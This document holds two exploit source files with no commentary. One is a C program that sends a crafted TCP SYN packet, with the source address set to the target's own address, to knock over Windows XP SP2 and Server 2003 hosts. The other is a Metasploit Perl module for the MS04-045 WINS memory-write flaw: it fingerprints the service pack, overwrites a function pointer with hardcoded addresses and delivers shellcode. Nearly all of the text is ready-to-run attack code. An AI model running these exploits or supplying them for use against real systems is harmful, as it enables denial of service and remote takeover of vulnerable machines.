#include <stdio.h> #include <ctype.h> #include <sys/socket.h> #include <netinet/in.h> #include <netinet/in_systm.h> #include <netinet/ip.h> #include <netinet/tcp.h> #include <sysexits.h> #include <stdlib.h> #include <unistd.h> #include <sys/types.h>
/* Windows Server 2003 and XP SP2 remote DoS exploit Tested under OpenBSD 3.6 at WinXP SP 2 Vuln by Dejan Levaja <dejan_@_levaja.com> (c)oded by __blf 2005 RusH Security Team , http://rst.void.ru Gr33tz: zZz, Phoenix, MishaSt, Inck-vizitor Fuck lamerz: Saint_I, nmalykh, Mr. Clumsy All rights reserved. */
//checksum function by r0ach u_short checksum (u_short *addr, int len) { u_short *w = addr; int i = len; int sum = 0; u_short answer; while (i > 0) { sum += *w++; i-=2; } if (i == 1) sum += *(u_char *)w; sum = (sum >> 16) + (sum & 0xffff); sum = sum + (sum >> 16); return (~sum); } int main(int argc, char ** argv) { struct in_addr src, dst; struct sockaddr_in sin; struct _pseudoheader { struct in_addr source_addr; struct in_addr destination_addr; u_char zero; u_char protocol; u_short length; } pseudoheader; struct ip * iph; struct tcphdr * tcph; int mysock; u_char * packet; u_char * pseudopacket; int on = 1; if( argc != 3) { fprintf(stderr, "r57windos.c by __blf\n"); fprintf(stderr, "RusH Security Team\n"); fprintf(stderr, "Usage: %s <dest ip> <dest port>\n", argv[0]); return EX_USAGE; } if ((packet = (char *)malloc(sizeof(struct ip) + sizeof(struct tcphdr))) == NULL) { perror("malloc()\n"); return EX_OSERR; } inet_aton(argv[1], &src); inet_aton(argv[1], &dst); iph = (struct ip *) packet; iph->ip_v = IPVERSION; iph->ip_hl = 5; iph->ip_tos = 0; iph->ip_len = ntohs(sizeof(struct ip) + sizeof(struct tcphdr)); iph->ip_off = htons(IP_DF); iph->ip_ttl = 255; iph->ip_p = IPPROTO_TCP; iph->ip_sum = 0; iph->ip_src = src; iph->ip_dst = dst; tcph = (struct tcphdr *)(packet +sizeof(struct ip)); tcph->th_sport = htons(atoi(argv[2])); tcph->th_dport = htons(atoi(argv[2])); tcph->th_seq = ntohl(rand()); tcph->th_ack = rand(); tcph->th_off = 5; tcph->th_flags = TH_SYN; // setting up TCP SYN flag here tcph->th_win = htons(512); tcph->th_sum = 0; tcph->th_urp = 0; pseudoheader.source_addr = src; pseudoheader.destination_addr = dst; pseudoheader.zero = 0; pseudoheader.protocol = IPPROTO_TCP; pseudoheader.length = htons(sizeof(struct tcphdr)); if((pseudopacket = (char *)malloc(sizeof(pseudoheader)+sizeof(struct tcphdr))) == NULL) { perror("malloc()\n"); return EX_OSERR; } memcpy(pseudopacket, &pseudoheader, sizeof(pseudoheader)); memcpy(pseudopacket + sizeof(pseudoheader), packet + sizeof(struct ip), sizeof(struct tcphdr)); tcph->th_sum = checksum((u_short *)pseudopacket, sizeof(pseudoheader) + sizeof(struct tcphdr)); mysock = socket(PF_INET, SOCK_RAW, IPPROTO_RAW); if(!mysock) { perror("socket!\n"); return EX_OSERR; } if(setsockopt(mysock, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on)) == -1) { perror("setsockopt"); shutdown(mysock, 2); return EX_OSERR; } sin.sin_family = PF_INET; sin.sin_addr = dst; sin.sin_port = htons(80); if(sendto(mysock, packet, sizeof(struct ip) + sizeof(struct tcphdr), 0, (struct sockaddr *)&sin, sizeof(sin)) == -1) { perror("sendto()\n"); shutdown(mysock, 2); return EX_OSERR; } printf("Packet sent. Remote machine should be down.\n"); shutdown(mysock, 2); return EX_OK; }
*******************************************************
CAN-2004-1080
##
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
##
package Msf::Exploit::wins_ms04_045;
use base "Msf::Exploit";
use strict;
my $advanced =
{
"BASE" => [0, "Specify the exact address to the structure"],
"TARG" => [0, "Specify the exact address to overwrite"],
"WHAT" => [0, "Specify the data used to overwrite the address"],
};
my $info =
{
"Name" => "Microsoft WINS MSO4-045 Code Execution",
"Version" => "$Revision: 1.18 $",
"Authors" => [ "H D Moore <hdm [at] metasploit.com>" ],
"Arch" => [ "x86" ],
"OS" => [ "win32", "win2000" ],
"Priv" => 1,
"AutoOpts" => { "EXITFUNC" => "process" },
"UserOpts" =>
{
"RHOST" => [1, "ADDR", "The target address"],
"RPORT" => [1, "PORT", "The target port", 42],
},
"Payload" =>
{
"Space" => 8000,
"MinNops" => 512,
"PrependEncoder" => "\x81\xc4\x54\xf2\xff\xff", # add esp, -3500
"Keys" => ["+ws2ord"],
},
"Deion" => Pex::Text::Freeform(qq{
This module exploits a arbitrary memory write flaw in the WINS service.
}),
"Refs" =>
[
["MSB", "MS04-045"],
],
"Targets" =>
[
["Windows 2000 English", [ 0x5391f40 ], 0x53df4c4, 0x53922e0]
],
"Keys" => ["wins"],
};
sub new {
my $class = shift;
my $self = $class->SUPER::new({"Info" => $info, "Advanced" => $advanced}, @_);
return($self);
}
sub Check {
my $self = shift;
my $target_host = $self->GetVar("RHOST");
my $target_port = $self->GetVar("RPORT");
my ($ret, $fprint, $check) = @{ $self->Fingerprint };
if ($ret < 0) {
return $check;
}
if ($ret == 0) {
$self->PrintLine("[*] This system does not appear to be vulnerable.");
return $check;
}
$self->PrintLine("[*] This system appears to be vulnerable.");
if ($fprint->{"os"} ne "?") {
my $os = $fprint->{"os"} eq "?" ? "Unknown Windows" : "Windows ". $fprint->{"os"};
my $sp = $fprint->{"sp"} eq "?" ? "" : "SP ". $fprint->{"sp"};
my $vi = $fprint->{"vi"} == 1 ? "(clean heap)" : "(dirty heap)";
my $hp = length($sp) ? $vi : "";
$self->PrintLine("[*] Host $target_host is $os $sp $hp");
}
return $self->CheckCode("Safe");
}
sub Exploit {
my $self = shift;
my $target_host = $self->GetVar("RHOST");
my $target_port = $self->GetVar("RPORT");
my $target_idx = $self->GetVar("TARGET");
my $shellcode = $self->GetVar("EncodedPayload")->Payload;
my $target = $self->Targets->[$target_idx];
if (! $self->InitNops(128)) {
$self->PrintLine("[*] Failed to initialize the nop module.");
return;
}
# Sanity check the WINS service
my ($ret, $fprint, $check) = @{ $self->Fingerprint };
if ($ret <= 0) {
$self->PrintLine("[*] The target system does not appear to be vulnerable.");
return;
}
# Windows 2000 SP0, SP2, SP3, SP4 only. SP1 does not have the
# same function pointer...
if ($fprint->{"os"} ne "2000" || $fprint->{"sp"} !~ /^[0234]/ ) {
$self->PrintLine("[*] The target system is not currently supported");
return;
}
# This flag is un-set if the first leaked address is not the default of
# 0x05371e90. This can indicate that someone has already tried to exploit
# this system, or something major happened to the heap that will probably
# prevent this exploit from working.
if (! $fprint->{"vi"}) {
$self->PrintLine("[*] The leaked heap address indicates that this attack may fail.");
}
# Allow for multiple attempts to find the base address
# XXX - Brute force not implemented (or required so far)
my @rloc = @{ $target->[1] };
# Address of the function pointers to overwrite (courtesy anonymous donor)
my $targ = $target->[2];
# Address of the payload on the heap, past the structure
my $code = $target->[3];
# Advanced options can be used to overwrite
@rloc = ( hex($self->GetVar("BASE")) ) if $self->GetVar("BASE");
$targ = hex($self->GetVar("TARG")) if $self->GetVar("TARG");
$code = hex($self->GetVar("WHAT")) if $self->GetVar("WHAT");
foreach my $base (@rloc) {
my ($req, $add);
# Pointing at any aligned address into top 36 bytes will result in a
# valid structure. This gives us some breathing room if things move
# around a little bit.
$add .= pack("V", $code) x 9;
$add .= pack("V", $targ - 0x48) x 14;
# Multiple copies are used in case things slide a little bit
$req .= $add x 10;
# Bling.
$req .= $shellcode;
# Random padding :-)
$req .= Pex::Text::EnglishText(9200 - length($req));
# Tack on the header
my $pkt = pack("NNN", length($req) + 8, -1, $base). $req;
# Poink!
$self->PrintLine(sprintf("[*] Attempting to overwrite 0x%.8x with 0x%.8x (0x%.8x)", $targ, $code, $base));
my $s = Msf::Socket::Tcp->new
(
"PeerAddr" => $target_host,
"PeerPort" => $target_port,
);
if ($s->IsError) {
$self->PrintLine("[*] Socket error: " . $s->GetError());
return(0);
}
$s->Send($pkt);
$self->Handler($s);
}
return;
}
# This fingerprinting routine will cause the structure base address to slide down
# 120 bytes. Subsequent fingerprints will not push this down any futher, however
# we need to make sure that fingerprint is always called before exploitation or
# the alignment will be way off.
sub Fingerprint {
my $self = shift;
my $target_host = $self->GetVar("RHOST");
my $target_port = $self->GetVar("RPORT");
my $fprint = {};
# This results in vulnerable servers leaking back some useful
# pointers to the heap and to ntdll.dll. We can use these pointers
# to determine the service pack.
my $req =
"\x00\x00\x00\x29\x00\x00\x78\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x40\x00\x02\x00\x05".
"\x00\x00\x00\x00\x60\x56\x02\x01\x00\x1F\x6E\x03".
"\x00\x1F\x6E\x03\x08\xFE\x66\x03\x00";
my $s = Msf::Socket::Tcp->new
(
"PeerAddr" => $target_host,
"PeerPort" => $target_port,
);
if ($s->IsError) {
$self->PrintLine("[*] Socket error: " . $s->GetError());
return [-2, $fprint, $self->CheckCode("Connect") ];
}
$s->Send($req);
my $res = $s->Recv(-1, 5);
if (! $res) {
$self->PrintLine("[*] No response to WINS probe.");
$s->Close;
return [-1, $fprint, $self->CheckCode("Connect") ];
}
my @ptrs = ( unpack("N", substr($res, 16, 4)), unpack("VVV", substr($res, 32)) );
$self->PrintDebugLine(1, sprintf("[*] Pointers: [0x%.8x] 0x%.8x 0x%.8x 0x%.8x", @ptrs));
my ($os, $sp, $vi) = ("2000", "?", "?");
# Windows 2000 versions
$sp = "0" if $ptrs[3] == 0x77f8ae78;
$sp = "1" if $ptrs[3] == 0x77f81f70;
$sp = "2" if $ptrs[3] == 0x77f82680;
$sp = "3" if $ptrs[3] == 0x77f83608;
$sp = "4" if $ptrs[3] == 0x77f89640;
$sp = "4++" if $ptrs[3] == 0x77f82518;
# Probably not Windows 2000...
$os = "?" if $sp eq "?";
# Windows NT 4.0
if ($ptrs[0] > 0x02300000 && $ptrs[0] < 0x02400000) {
$os = "NT";
$sp = "?";
}
# Heap is still pristine...
$vi = 1 if $ptrs[0] == 0x05371e90;
# Store the fingerprints....
$fprint->{"os"} = $os;
$fprint->{"sp"} = $sp;
$fprint->{"vi"} = $vi;
# Probe to test vulnerability
$req = "\x00\x00\x00\x0F\x00\x00\x78\x00". substr($res, 16, 4).
"\x00\x00\x00\x03\x00\x00\x00\x00";
$s->Send($req);
$res = $s->Recv(-1, 3);
$s->Close;
if (substr($res, 6, 1) eq "\x78") {
return [1, $fprint, $self->CheckCode("Appears") ];
}
return [0, $fprint, $self->CheckCode("Safe") ];
}
1;
__END__
SP0 [0x05371e90] 0x053dffa4 0x77fb80db 0x77f8ae78
SP1 [0x05371e90] 0x0580ffa4 0x77fb9045 0x77f81f70
SP2 [0x05371e90] 0x053dffa4 0x77fb9da7 0x77f82680
SP3 [0x05371e90] 0x053dffa4 0x77f82b95 0x77f83608
SP4 [0x05371e90] 0x053dffa4 0x77f98191 0x77f89640
SP4 [0x00000040] 0x053dffa4 0x77f98191 0x77f89640 (patched)
SP4 [0x0000003e] 0x053dffa4 0x77f81f55 0x77f82518 (mostly patched)
NT4
YES [0x023b1e98] 0x0014c3f0 0x00000048 0x00000000
NOT [0x023d1dc8] 0x0014de60 0x00000048 0x0000023f
YES [0x023b1ea0] 0x00000048 0x00000009 0x0000023e
2K3 [0x00000040] 0x044bf584 0x01013c25 0x000003ac
|
|